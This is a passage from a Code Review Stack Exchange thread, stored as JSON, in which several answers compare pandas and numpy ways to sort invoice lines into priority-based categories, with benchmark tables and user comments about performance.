pd.Series("Mega", index=order.index)\n\n milk_codes = {106, 107, 108}\n if order["code"].isin(milk_codes).any():\n return pd.Series("Healthy", index=order.index)\n\n juice_codes = {104, 105}\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return pd.Series("OneJuice", index=order.index)\n if juices_amount > 1:\n return pd.Series("ManyJuice", index=order.index)\n\n hot_codes = {103, 109}\n if order["code"].isin(hot_codes).any():\n return pd.Series("HotLovers", index=order.index)\n\n dessert_codes = {110, 111}\n if order["code"].isin(dessert_codes).any():\n return pd.Series("DessertLovers", index=order.index)\n\n return pd.Series("Others", index=order.index)\n</code></pre>\n<h1>Testing</h1>\n<p>Since you offloaded the categorising to another function, you can test this in isolation</p>\n<hr />\n<h1>Variation</h1>\n<pre><code>def classify_invoice2(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() > 10:\n return "Mega"\n\n milk_codes = {106, 107, 108}\n if order["code"].isin(milk_codes).any():\n\n return "Healthy"\n\n juice_codes = {104, 105}\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return "OneJuice"\n if juices_amount > 1:\n return "ManyJuice"\n\n hot_codes = {103, 109}\n if order["code"].isin(hot_codes).any():\n return "HotLovers"\n\n dessert_codes = {110, 111}\n if order["code"].isin(dessert_codes).any():\n return "DessertLovers"\n\n return "Others"\n\ndf.join(\n df.groupby("invoice")\n .apply(classify_invoice2)\n .rename("category"),\n on = "invoice"\n)\n</code></pre>\n<p>This is about as fast as my other solution and slightly simpler to follow.</p>\n<h1>micro optimizations</h1>\n<p>Now the codes get defined each groupby. I there are a lot of invoices, it might be faster to define them outside the method:</p>\n<pre><code>milk_codes = {106, 107, 108}\njuice_codes = {104, 105}\nhot_codes = {103, 109}\ndessert_codes = {110, 111}\n\ndef classify_invoice3(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() > 10:\n return "Mega"\n\n if order["code"].isin(milk_codes).any():\n\n return "Healthy"\n\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return "OneJuice"\n if juices_amount > 1:\n return "ManyJuice"\n\n if order["code"].isin(hot_codes).any():\n return "HotLovers"\n\n if order["code"].isin(dessert_codes).any():\n return "DessertLovers"\n return "Others"\n</code></pre>\n<h2>categorical</h2>\n<p>Working with a categorical might be faster than with a column of strings too:</p>\n<pre><code>CATEGORIES = {\n 0: "Mega",\n 1: "Healthy",\n 2: "OneJuice",\n 3: "ManyJuice",\n 4: "HotLovers",\n 5: "DessertLovers",\n 6: "Others",\n}\n\n\ndef classify_invoice4(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() > 10:\n return 0\n\n if order["code"].isin(milk_codes).any():\n\n return 1\n\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return 2\n if juices_amount > 1:\n return 3\n\n if order["code"].isin(hot_codes).any():\n return 4\n\n if order["code"].isin(dessert_codes).any():\n return 5\n return 6\n\ndf.join(\n (\n df.groupby("invoice")\n .apply(classify_invoice4)\n .rename("category")\n .astype(pd.Categorical(list(CATEGORIES)))\n .cat.rename_categories(CATEGORIES)\n ),\n on="invoice",\n)\n</code></pre>\n<p>In the benchmark with the sample data this was slightly slower, but for larger datasets this might be faster</p>\n<hr />\n<h1>numpy</h1>\n<p>You can do this in numpy land too:</p>\n<pre><code>def classify_invoice_numpy(invoices, quantities, codes):\n SODA = np.array([101, 102])\n HOT = np.array([103, 109])\n JUICE = np.array([104, 105]) # remember spaces after commas\n MILK = np.array([106, 107, 108])\n DESSERT = np.array([110, 111])\n\n juices = np.isin(codes, JUICE)\n milk = np.isin(codes, MILK)\n hot = np.isin(codes, HOT)\n dessert = np.isin(codes, DESSERT)\n\n result = -np.ones(len(invoices), dtype=int)\n\n for invoice in np.unique(invoices):\n index = invoices == invoice\n\n if quantities[index].sum() >= 10:\n result[index] = 0\n continue\n\n if milk[index].any():\n result[index] = 1\n continue\n\n juices_index = index & juices\n if juices_index.any():\n if quantities[juices_index].sum() == 1:\n result[index] = 2\n continue\n else:\n result[index] = 3\n continue\n\n if hot[index].any():\n result[index] = 4\n continue\n\n if dessert[index].any():\n result[index] = 5\n continue\n\n return result\n\ndef solution_maarten_numpy(data):\n return data.assign(\n category=pd.Series(\n classify_invoice_numpy(\n data["invoice"].values,\n data["qty"].values,\n data["code"].values,\n ),\n index=data.index,\n ).map(CATEGORIES)\n )\n</code></pre>\n<hr />\n<h1>Benchmarking</h1>\n<p>I did some benchmarking</p>\n<h2>dummy data:</h2>\n<pre><code>def dummy_data(\n n: int = 100, lines_per_invoice: int = 3, seed: int = 0\n) -> pd.DataFrame:\n random_generator = np.random.default_rng(seed=seed)\n samples = (\n random_generator.normal(loc=lines_per_invoice, scale=2, size=n)\n .round()\n .astype(int)\n )\n samples = np.where(samples > 0, samples, 1)\n invoices = np.repeat(np.arange(n), samples)\n quantities = random_generator.integers(1, 10, size=len(invoices))\n codes = random_generator.choice(np.arange(101, 112), size=len(invoices))\n return pd.DataFrame(\n {"invoice": invoices, "qty": quantities, "code": codes}\n )\n</code></pre>\n<h2>compare when there is something different</h2>\n<pre><code>def compare_results(left, right):\n differences = (left != right).any(axis=1)\n return left[differences].merge(\n right.loc[differences, "category"], left_index=True, right_index=True\n )\n</code></pre>\n<h2>benchmark</h2>\n<pre><code>def benchmark(functions, size=100, lines_per_invoice=3, seed=0):\n\n data_original = dummy_data(\n n=size, lines_per_invoice=lines_per_invoice, seed=seed\n )\n yield data_original\n benchmark_result = categorise_dawson(data_original)\n\n for function in functions:\n data = data_original.copy()\n result = function(data)\n try:\n pd.testing.assert_frame_equal(result, benchmark_result)\n except AssertionError:\n print(f"method {function.__name__} differs from the benchmark")\n # print(result)\n # print(benchmark_result)\n print(compare_results(benchmark_result, result))\n # pd.testing.assert_frame_equal(result, benchmark_result)\n continue\n try:\n pd.testing.assert_frame_equal(data, data_original)\n except AssertionError:\n print(f"method {function.__name__} changes the original data")\n continue\n\n time = timeit.timeit(\n "function(data)",\n globals={"function": function, "data": data},\n number=1,\n )\n\n yield function.__name__, time\n</code></pre>\n<h2>calling it</h2>\n<pre><code>data_originals = {}\nsizes = 10, 100, 1000, 10000\nfunctions = [\n solution_maarten_1,\n solution_maarten_2,\n solution_maarten_3,\n solution_maarten4,\n solution_maarten_numpy,\n categorise_dawson,\n categorise_OP,\n]\n\nresult_df = pd.DataFrame(index=[function.__name__ for function in functions])\nfor size in sizes:\n data_original, *results = benchmark(functions=functions, size=size,)\n data_originals[size] = data_original\n result_df[size] = pd.Series(dict(results))\n</code></pre>\n<blockquote>\n<pre><code>| | 10 | 100 | 1000 | 10000 |\n|:-----------------------|----------:|----------:|----------:|----------:|\n| solution_maarten_1 | 0.0077566 | 0.089533 | 0.838123 | 9.03633 |\n| solution_maarten_2 | 0.0085086 | 0.0564532 | 0.521976 | 5.17024 |\n| solution_maarten_3 | 0.0051805 | 0.0461194 | 0.545553 | 6.22027 |\n| solution_maarten4 | 0.0091025 | 0.0647327 | 0.545063 | 5.88994 |\n| solution_maarten_numpy | 0.0013638 | 0.0038171 | 0.0156193 | 0.977562 |\n| categorise_dawson | 0.0342312 | 0.0253829 | 0.0320662 | 0.0790319 |\n| categorise_OP | 0.0480042 | 0.0463131 | 0.0542139 | 0.150899 |\n</code></pre>\n</blockquote>\n<p><a href=\"https://i.stack.imgur.com/3790b.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3790b.png\" alt=\"Benchmark comparison\" /></a></p>\n<p>So my code starts faster for smaller sizes, but changes almost linearly with the size, while your and @dawsons code are almost constant for size</p>\n<hr />\n<h1>complete code</h1>\n<pre><code>#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport timeit\n\n\n# In[2]:\n\n\ndef dummy_data(\n n: int = 100, lines_per_invoice: int = 3, seed: int = 0\n) -> pd.DataFrame:\n random_generator = np.random.default_rng(seed=seed)\n samples = (\n random_generator.normal(loc=lines_per_invoice, scale=2, size=n)\n .round()\n .astype(int)\n )\n samples = np.where(samples > 0, samples, 1)\n invoices = np.repeat(np.arange(n), samples)\n quantities = random_generator.integers(1, 10, size=len(invoices))\n codes = random_generator.choice(np.arange(101, 112), size=len(invoices))\n return pd.DataFrame(\n {"invoice": invoices, "qty": quantities, "code": codes}\n )\n\n\n# In[3]:\n\n\ndef compare_results(left, right):\n differences = (left != right).any(axis=1)\n return left[differences].merge(\n right.loc[differences, "category"], left_index=True, right_index=True\n )\n\n\n# In[63]:\n\n\nSoda = [101, 102]\nHot = [103, 109]\nJuice = [104, 105]\nMilk = [106, 107, 108]\nDessert = [110, 111]\n\n\ndef categorise_OP(df):\n # Calculating Priority No.1\n L = df.groupby(["invoice"])["qty"].transform("sum") >= 10\n df_Large = df[L]["invoice"].to_frame()\n df_Large["category"] = "Mega"\n df_Large.drop_duplicates(["invoice"], inplace=True)\n\n # Calculating Priority No.2\n df_1 = df[~L] # removing Priority No.1 calculated above\n M = df_1["code"].isin(Milk).groupby(df_1["invoice"]).transform("any")\n df_Milk = df_1[M]["invoice"].to_frame()\n df_Milk["category"] = "Healthy"\n df_Milk.drop_duplicates(["invoice"], inplace=True)\n\n # Calculating Priority No.3\n\n # 3.a Part -1\n\n df_2 = df[~L & ~M] # removing Priority No.1 & 2 calculated above\n J_1 = (df_2["qty"] * df_2["code"].isin(Juice)).groupby(\n df_2["invoice"]\n ).transform("sum") == 1\n df_SM = df_2[J_1]["invoice"].to_frame()\n df_SM["category"] = "OneJuice"\n df_SM.drop_duplicates(["invoice"], inplace=True)\n\n # 3.b Part -2\n J_2 = (df_2["qty"] * df_2["code"].isin(Juice)).groupby(\n df_2["invoice"]\n ).transform("sum") > 1\n df_MM = df_2[J_2]["invoice"].to_frame()\n df_MM["category"] = "ManyJuice"\n df_MM.drop_duplicates(["invoice"], inplace=True)\n\n # Calculating Priority No.4\n df_3 = df[\n ~L & ~M & ~J_1 & ~J_2\n ] # removing Priority No.1, 2 & 3 (a & b) calculated above\n H = df_3["code"].isin(Hot).groupby(df_3["invoice"]).transform("any")\n df_Hot = df_3[H]["invoice"].to_frame()\n df_Hot["category"] = "HotLovers"\n df_Hot.drop_duplicates(["invoice"], inplace=True)\n\n # Calculating Priority No.5\n df_4 = df[\n ~L & ~M & ~J_1 & ~J_2 & ~H\n ] # removing Priority No.1, 2, 3 (a & b) and 4 calculated above\n D = df_4["code"].isin(Dessert).groupby(df_4["invoice"]).transform("any")\n df_Dessert = df_4[D]["invoice"].to_frame()\n df_Dessert["category"] = "DessertLovers"\n df_Dessert.drop_duplicates(["invoice"], inplace=True)\n\n # merge all dfs\n category = pd.concat(\n [df_Large, df_Milk, df_SM, df_MM, df_Hot, df_Dessert],\n axis=0,\n sort=False,\n ignore_index=True,\n )\n\n # Final merge to the original dataset\n return df.merge(category, on="invoice", how="left").fillna(value="Others")\n\n\n# In[7]:\n\n\nSODA = [101, 102]\nHOT = [103, 109]\nJUICE = [104, 105] # remember spaces after commas\nMILK = [106, 107, 108]\nDESSERT = [110, 111]\n\n\ndef categorise_dawson(df):\n df = df.copy()\n df["milk"] = df["code"].isin(MILK)\n\n # priority 3.a\n juice = df["code"].isin(JUICE)\n invoices_one_juice = df[juice].groupby("invoice")["qty"].sum() == 1\n df["one_juice"] = (\n invoices_one_juice.reindex(df["invoice"]).fillna(False).values\n )\n # priority 3.b\n df["many_juice"] = (\n (~invoices_one_juice).reindex(df["invoice"]).fillna(False).values\n )\n\n # priority 4\n df["hot"] = df["code"].isin(HOT)\n\n # priority 5\n df["dessert"] = df["code"].isin(DESSERT)\n\n # Act 2: the big group by and merge\n invoices = (\n df.groupby(["invoice"])\n .agg(\n {\n "qty": "sum",\n "milk": "any",\n "one_juice": "any",\n "many_juice": "any",\n "hot": "any",\n "dessert": "any",\n }\n )\n .rename(\n columns={\n "qty": "total", # this is renamed because joining with duplicate names leads to qty_x and qty_y\n }\n )\n )\n # priority 1\n invoices["mega"] = invoices["total"] >= 10\n\n df = df.merge(invoices, on="invoice", how="left")\n\n # Act 3: apply the categories\n # apply the categories in reverse order to overwrite less important with the more important\n df["category"] = "Others"\n df.loc[df["dessert_y"], "category"] = "DessertLovers"\n df.loc[df["hot_y"], "category"] = "HotLovers"\n df.loc[df["many_juice_y"], "category"] = "ManyJuice"\n df.loc[df["one_juice_y"], "category"] = "OneJuice"\n df.loc[df["milk_y"], "category"] = "Healthy"\n df.loc[df["mega"], "category"] = "Mega"\n\n return df[\n ["invoice", "qty", "code", "category"]\n ] # get the columns you care about\n\n\n# In[72]:\n\n\ndef classify_invoice1(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() >= 10:\n return pd.Series("Mega", index=order.index)\n\n milk_codes = {106, 107, 108}\n if order["code"].isin(milk_codes).any():\n return pd.Series("Healthy", index=order.index)\n\n juice_codes = {104, 105}\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n\n if juices_amount == 1:\n return pd.Series("OneJuice", index=order.index)\n if juices_amount > 1:\n return pd.Series("ManyJuice", index=order.index)\n\n hot_codes = {103, 109}\n if order["code"].isin(hot_codes).any():\n return pd.Series("HotLovers", index=order.index)\n\n dessert_codes = {110, 111}\n if order["code"].isin(dessert_codes).any():\n return pd.Series("DessertLovers", index=order.index)\n\n return pd.Series("Others", index=order.index)\n\n\ndef solution_maarten_1(data):\n categories = pd.concat(\n classify_invoice1(data) for invoice, data in data.groupby("invoice")\n )\n return data.assign(category=categories)\n\n\n# In[14]:\n\n\ndef classify_invoice2(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() >= 10:\n return "Mega"\n\n milk_codes = {106, 107, 108}\n if order["code"].isin(milk_codes).any():\n\n return "Healthy"\n\n juice_codes = {104, 105}\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return "OneJuice"\n if juices_amount > 1:\n return "ManyJuice"\n\n hot_codes = {103, 109}\n if order["code"].isin(hot_codes).any():\n return "HotLovers"\n\n dessert_codes = {110, 111}\n if order["code"].isin(dessert_codes).any():\n return "DessertLovers"\n\n return "Others"\n\n\ndef solution_maarten_2(data):\n return data.join(\n data.groupby("invoice").apply(classify_invoice2).rename("category"),\n on="invoice",\n )\n\n\n# In[17]:\n\n\nmilk_codes = {106, 107, 108}\njuice_codes = {104, 105}\nhot_codes = {103, 109}\ndessert_codes = {110, 111}\n\n\ndef classify_invoice3(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() >= 10:\n return "Mega"\n\n if order["code"].isin(milk_codes).any():\n return "Healthy"\n\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return "OneJuice"\n if juices_amount > 1:\n return "ManyJuice"\n\n if order["code"].isin(hot_codes).any():\n return "HotLovers"\n\n if order["code"].isin(dessert_codes).any():\n return "DessertLovers"\n return "Others"\n\n\ndef solution_maarten_3(data):\n return data.join(\n data.groupby("invoice").apply(classify_invoice3).rename("category"),\n on="invoice",\n )\n\n\n# In[20]:\n\n\nCATEGORIES = {\n 0: "Mega",\n 1: "Healthy",\n 2: "OneJuice",\n 3: "ManyJuice",\n 4: "HotLovers",\n 5: "DessertLovers",\n -1: "Others",\n}\n\n\ndef classify_invoice4(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() >= 10:\n return 0\n\n if order["code"].isin(milk_codes).any():\n return 1\n\n juices_amount = order.loc[order["code"].isin(juice_codes), "qty"].sum()\n if juices_amount == 1:\n return 2\n if juices_amount > 1:\n return 3\n\n if order["code"].isin(hot_codes).any():\n return 4\n\n if order["code"].isin(dessert_codes).any():\n return 5\n return -1\n\n\ndef solution_maarten4(data):\n return data.join(\n (\n data.groupby("invoice")\n .apply(classify_invoice4)\n .map(CATEGORIES)\n .rename("category")\n ),\n on="invoice",\n )\n\n\n# In[24]:\n\n\ndef classify_invoice_numpy(invoices, quantities, codes):\n SODA = np.array([101, 102])\n HOT = np.array([103, 109])\n JUICE = np.array([104, 105]) # remember spaces after commas\n MILK = np.array([106, 107, 108])\n DESSERT = np.array([110, 111])\n\n juices = np.isin(codes, JUICE)\n milk = np.isin(codes, MILK)\n hot = np.isin(codes, HOT)\n dessert = np.isin(codes, DESSERT)\n\n result = -np.ones(len(invoices), dtype=int)\n\n for invoice in np.unique(invoices):\n index = invoices == invoice\n\n if quantities[index].sum() >= 10:\n result[index] = 0\n continue\n\n if milk[index].any():\n result[index] = 1\n continue\n\n juices_index = index & juices\n if juices_index.any():\n if quantities[juices_index].sum() == 1:\n result[index] = 2\n continue\n else:\n result[index] = 3\n continue\n\n if hot[index].any():\n result[index] = 4\n continue\n\n if dessert[index].any():\n result[index] = 5\n continue\n\n return result\n\n\n# In[25]:\n\n\ndef solution_maarten_numpy(data):\n return data.assign(\n category=pd.Series(\n classify_invoice_numpy(\n data["invoice"].values,\n data["qty"].values,\n data["code"].values,\n ),\n index=data.index,\n ).map(CATEGORIES)\n )\n\n\n# In[28]:\n\n\nimport timeit\n\n\n# In[52]:\n\n\ndef benchmark(functions, size=100, lines_per_invoice=3, seed=0):\n\n data_original = dummy_data(\n n=size, lines_per_invoice=lines_per_invoice, seed=seed\n )\n yield data_original\n benchmark_result = categorise_dawson(data_original)\n\n for function in functions:\n data = data_original.copy()\n result = function(data)\n try:\n pd.testing.assert_frame_equal(result, benchmark_result)\n except AssertionError:\n print(f"method {function.__name__} differs from the benchmark")\n # print(result)\n # print(benchmark_result)\n print(compare_results(benchmark_result, result))\n # pd.testing.assert_frame_equal(result, benchmark_result)\n continue\n try:\n pd.testing.assert_frame_equal(data, data_original)\n except AssertionError:\n print(f"method {function.__name__} changes the original data")\n continue\n\n time = timeit.timeit(\n "function(data)",\n globals={"function": function, "data": data},\n number=1,\n )\n\n yield function.__name__, time\n\n\n# In[89]:\n\n\ndata_originals = {}\nsizes = 10, 100, 1000, 10000\nfunctions = [\n solution_maarten_1,\n solution_maarten_2,\n solution_maarten_3,\n solution_maarten4,\n solution_maarten_numpy,\n categorise_dawson,\n categorise_OP,\n]\n\nresult_df = pd.DataFrame(index=[function.__name__ for function in functions])\nfor size in sizes:\n data_original, *results = benchmark(functions=functions, size=size,)\n data_originals[size] = data_original\n result_df[size] = pd.Series(dict(results))\n\n\n# In[94]:\n\n\nprint(result_df.to_markdown())\n\n\n# In[99]:\n\n\nresult_df.T.plot(logx=True, logy=True)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:32:02.487",
"Id": "489126",
"Score": "0",
"body": "Thanks. Upvoted. your code works perfectly well. and its' way better written than mine. However, when it comes to speed/performance. this is very very slow. even compared to my code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T15:48:29.940",
"Id": "489143",
"Score": "0",
"body": "strange. if I time the different solutions with your sample data, it takes about 9ms with my solution, 19 ms for @josh-dawson's solution, and 32ms for your solution"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T16:16:47.467",
"Id": "489144",
"Score": "0",
"body": "appreciate the different variations of answers. I'll apply these to my original dataset and will get back to you. tks"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:25:48.773",
"Id": "489159",
"Score": "0",
"body": "I tested your option `1 and 4` scenarios on my actual dataset. which is `11 Mn rows` with `10 columns`. both codes takes more than 45 mints. actually i forced stopped after 45 minutes. But, surprisingly, @Josh_Dawson's code above took only 2 minutes. however, there's a small issue in his code. the category for `invoice 4` is not correctly calculated. it should be `ManyJuice`. but his code calculates to `OneJuice`. I think it doesn't add up the individual qty total of `codes 104 & 105` of `invoice 4`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T20:05:47.007",
"Id": "489167",
"Score": "0",
"body": "Did you try numba to speed it up?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T21:37:15.820",
"Id": "489172",
"Score": "0",
"body": "Yes. but no luck. btw, I'm not using numba much."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:49:21.483",
"Id": "489188",
"Score": "0",
"body": "An idea; making `order['code']` a set/unique and assigning to a variable (not indexing multiple times) may help."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T09:57:20.380",
"Id": "489219",
"Score": "1",
"body": "I even moved completely to `numpy` space. This keep scaling about linearly with the size, while the other solutions remain almost constant (I checked to a size of 10_000)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T06:21:01.770",
"Id": "489309",
"Score": "0",
"body": "@MaartenFabré I received another excellent answer at the SO platform. (https://stackoverflow.com/questions/63908535/priority-based-categorization-using-pandas-python)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T06:24:14.177",
"Id": "489310",
"Score": "1",
"body": "Nice. I didn't know about np.select"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T07:19:42.053",
"Id": "489312",
"Score": "0",
"body": "Yes. Me too. This thread of question was a great learning experience.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T06:02:18.290",
"Id": "489363",
"Score": "0",
"body": "@MaartenFabré. I accepted Josh answer. purely due to speed/performance & code readability. But, I really appreciate your effort. I learned few new things from your code. Thank you."
}
],
"meta_data": {
"CommentCount": "12",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T10:21:40.207",
"Id": "249486",
"ParentId": "249474",
"Score": "5"
}
},
{
"body": "<p>Here I provide a different approach to solve this problem more efficiently. Compared with OP's solution, the primary optimization comes in the following aspects:</p>\n<ul>\n<li><p>Calling <code>isin</code> four times for each item class (Dessert, Hot, Juice, Milk) is inefficient. A better approach is to <a href=\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.join.html\" rel=\"nofollow noreferrer\"><code>join</code></a> the original DataFrame <code>df</code> with a <code>Series</code> that maps each item to a class, and then apply <a href=\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.get_dummies.html\" rel=\"nofollow noreferrer\"><code>pd.get_dummies</code></a> to the new class column to perform one-hot encoding. My solution will operate on the class information directly, therefore the second step is not needed.</p>\n</li>\n<li><p>Each item class is assigned a priority value that is aligned with its priority in the computation logic of the <code>category</code> value, i.e. Dessert < Hot < Juice < Milk. The computation logic could then be rewritten to the following:</p>\n<ol>\n<li>Compute the total quantity, total juice quantity, and maximum priority value of each invoice;</li>\n<li>If the total quantity > 10, the category value is "Mega";</li>\n<li>If the maximum priority value is "Juice" and total quantity > 1, the category value is "ManyJuice";</li>\n<li>Otherwise, assign the category value based on the maximum priority value.</li>\n</ol>\n<p>In the implementation, the <code>category</code> column is of a categorical type <code>INVOICE_TYPE</code> and each category value has its corresponding numerical code. The priority value of each item class is the numerical code of the class's corresponding category.</p>\n</li>\n<li><p><a href=\"https://numpy.org/doc/stable/reference/generated/numpy.select.html#numpy.select\" rel=\"nofollow noreferrer\"><code>np.select</code></a> is utilized to implement the if-elif-else logic in a vectorized manner. (Remark: for if-else logic, <code>np.where</code> / <a href=\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.where.html#pandas.DataFrame.where\" rel=\"nofollow noreferrer\"><code>pd.DataFrame.where</code></a> could be utilized instead.)</p>\n</li>\n</ul>\n<p>Solution:</p>\n<pre><code>import pandas as pd\nimport numpy as np\n\n\ndef add_category(df: pd.DataFrame, mega_threshold: int = 10):\n # Invoice categories\n INVOICE_TYPE = pd.CategoricalDtype([\n "Others", "DessertLovers", "HotLovers", "ManyJuice", "OneJuice", "Healthy", "Mega"\n ], ordered=True)\n CODE_OTHERS = 0 # Numerical code of 'Others' category\n\n # Mapping from item classes to invoice category codes\n class_values = pd.Series(\n pd.Categorical(["DessertLovers", "HotLovers", "OneJuice", "Healthy"], dtype=INVOICE_TYPE).codes,\n index=["Dessert", "Hot", "Juice", "Milk"]\n )\n\n # Mapping from item codes to class priority values, which are equivalent to corresponding invoice category codes\n item_code_values = pd.Series(\n class_values[["Hot", "Juice", "Juice", "Milk", "Milk", "Milk", "Hot", "Dessert", "Dessert"]].to_numpy(),\n index=pd.RangeIndex(103, 112), name="item_value"\n )\n\n df_item_values = df.join(item_code_values, on="code")\n df_item_values["juice_qty"] = (df_item_values["item_value"] == class_values["Juice"]) * df_item_values["qty"]\n\n # Compute total quantity, total juice quantity, and maximum item priority value of each invoice by aggregation\n df_invoice_info = df_item_values.groupby("invoice").agg({\n "qty": "sum",\n "juice_qty": "sum",\n "item_value": "max"\n })\n df_invoice_info.columns = ["total_qty", "total_juice_qty", "max_item_value"]\n\n ## This version of aggregation has better readability but it turns out to be 2~3 times slower than the above\n # df_invoice_info = df_item_values.groupby("invoice").agg(\n # total_qty=("qty", "sum"),\n # total_juice_qty=("juice_qty", "sum"),\n # max_item_value=("item_value", "max")\n # )\n\n max_invoice_item_values = df_invoice_info["max_item_value"]\n max_invoice_item_values.fillna(CODE_OTHERS, inplace=True, downcast="int8")\n is_mega = df_invoice_info["total_qty"] > mega_threshold\n is_many_juice = ((max_invoice_item_values == class_values["Juice"]) &\n (df_invoice_info["total_juice_qty"] > 1))\n\n # Compute invoice category codes\n invoice_type_codes = pd.Series(np.select(\n [is_mega, is_many_juice],\n pd.Categorical(["Mega", "ManyJuice"], dtype=INVOICE_TYPE).codes,\n max_invoice_item_values),\n index=df_invoice_info.index\n )\n\n # Join category codes with the original DataFrame and transform them to the categorical type INVOICE_TYPE\n df["category"] = pd.Categorical.from_codes(invoice_type_codes[df["invoice"]], dtype=INVOICE_TYPE)\n\n # For performance testing, returning a copy of df instead of modifying it in-place\n # return df.assign(category=pd.Categorical.from_codes(invoice_type_codes[df["invoice"]], dtype=INVOICE_TYPE))\n\nif __name__ == "__main__":\n df = pd.DataFrame({\n 'invoice': [1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7],\n 'code': [101, 104, 105, 101, 106, 106, 104, 101, 104, 105, 111, 109, 111, 110, 101, 114, 112],\n 'qty': [2, 1, 1, 3, 2, 4, 7, 1, 1, 1, 1, 4, 2, 1, 2, 2, 1]\n })\n add_category(df)\n print(df)\n</code></pre>\n<p>Output:</p>\n<pre><code> invoice code qty category\n0 1 101 2 OneJuice\n1 1 104 1 OneJuice\n2 2 105 1 Healthy\n3 2 101 3 Healthy\n4 2 106 2 Healthy\n5 3 106 4 Mega\n6 3 104 7 Mega\n7 3 101 1 Mega\n8 4 104 1 ManyJuice\n9 4 105 1 ManyJuice\n10 4 111 1 ManyJuice\n11 5 109 4 HotLovers\n12 5 111 2 HotLovers\n13 6 110 1 DessertLovers\n14 6 101 2 DessertLovers\n15 6 114 2 DessertLovers\n16 7 112 1 Others\n</code></pre>\n<p>Performance Testing Code for Jupyter Notebook execution (in the <code>add_category</code> function, a copy of <code>df</code> is returned instead of in-place modification) vs. <a href=\"https://codereview.stackexchange.com/a/249481/207952\">@JoshDawson's solution</a> and <a href=\"https://stackoverflow.com/questions/63908535/priority-based-categorization-using-pandas-python\">this solution on SO</a>:</p>\n<pre><code>df = pd.DataFrame({\n 'invoice': [1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7],\n 'code': [101, 104, 105, 101, 106, 106, 104, 101, 104, 105, 111, 109, 111, 110, 101, 114, 112],\n 'qty': [2, 1, 1, 3, 2, 4, 7, 1, 1, 1, 1, 4, 2, 1, 2, 2, 1]\n})\n\n# Test input DataFrame from OP\ntest_input = df\n\n%timeit add_category(test_input)\n%timeit add_category_dawson(test_input)\n%timeit add_category_SO(test_input)\n\n# Test input constructed by duplicating the original DataFrame 10**5 times\n# and modifying the output to differentiate the invoice ids in each copy\ntest_input = pd.concat([df] * 10**5, ignore_index=True)\ntest_input["invoice"] += test_input.index // df.shape[0] * df["invoice"].max()\n\n%timeit add_category(test_input)\n%timeit add_category_dawson(test_input)\n%timeit add_category_SO(test_input)\n</code></pre>\n<p>Performance testing results on original DataFrame from OP:</p>\n<pre><code>11.9 ms ± 422 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)\n17.5 ms ± 357 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)\n9.52 ms ± 106 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)\n</code></pre>\n<p>Performance testing results on large DataFrame:</p>\n<pre><code>411 ms ± 3.65 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)\n1 s ± 5.5 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)\n1.1 s ± 10.2 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T05:58:56.883",
"Id": "489362",
"Score": "0",
"body": "Thank you & upvoted. please do check the answer I received in SO platform which stands out above all. (https://stackoverflow.com/questions/63908535/priority-based-categorization-using-pandas-python)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:08:07.670",
"Id": "489367",
"Score": "0",
"body": "The code is shorter and easier to comprehend but it is slower than other solutions on large datasets. I've added the benchmarking results in my post. My solution prioritized performance over code length. For example, a Categorical type rather than string is used as the type of the result column, which will lead to better performance for future processing and also save space. I also tried to keep my code as readable as possible."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:33:40.203",
"Id": "489371",
"Score": "0",
"body": "when I checked in my actual dataset with `11Mn rows and 10 columns` that code took only `48seconds`."
},
{
